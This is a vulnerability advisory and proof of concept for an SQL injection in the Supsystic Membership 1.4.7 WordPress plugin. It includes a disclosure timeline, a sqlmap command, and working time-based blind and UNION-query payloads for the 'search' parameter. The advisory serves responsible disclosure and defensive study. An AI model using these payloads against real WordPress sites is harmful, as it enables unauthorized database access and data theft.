38 lines
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1.6 KiB
Text
38 lines
No EOL
1.6 KiB
Text
# Exploit Title: WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection
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# Date: 09/08/2020
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# Exploit Author: Erik David Martin
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# Vendor Homepage: https://supsystic.com/
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# Software Link: https://downloads.wordpress.org/plugin/membership-by-supsystic.1.4.7.zip
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# Version: 1.4.7
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# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
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# 25/07 2020: Vendor notified
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# 27/07 2020: Vendor requested detailed information
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# 27/07 2020: Information provided
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# 07/08 2020: Nudged vendor. No reply
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# 22/08 2020: Nudged vendor. No reply
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# 04/10 2020: Nudged vendor. No reply
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# 29/11 2020: WordPress Plugin Security team contacted
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# 22/12 2020: Vulnerability fixed
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# 1. Description
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The GET parameters "search" and "sidx" does not sanitize user input when searching for badges.
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# 2. Proof of Concept (PoC)
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Use ZAP/Burp to capture the web request when searching for data and save it to request.txt
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Referer: http://192.168.0.63/wp-admin/admin.php?page=supsystic-membership&module=badges&action=index
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sqlmap -r request.txt --dbms=mysql -p search
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Parameter: search (GET)
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Type: time-based blind
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Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' AND (SELECT 8958 FROM (SELECT(SLEEP(5)))oBIL) AND 'trjK'='trjK&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc
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Type: UNION query
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Payload: route=badges.getTblList&wpnonce=729ac6199a&action=supsystic-membership&search=s' UNION ALL SELECT NULL,CONCAT(0x71786a6b71,0x6569796370704c625352574e6e424874456a74457847635473525a466d47576f775a46446b4e7055,0x716a7a6a71),NULL,NULL-- -&_search=false&nd=1596991012186&rows=10&page=0&sidx=id&sord=desc |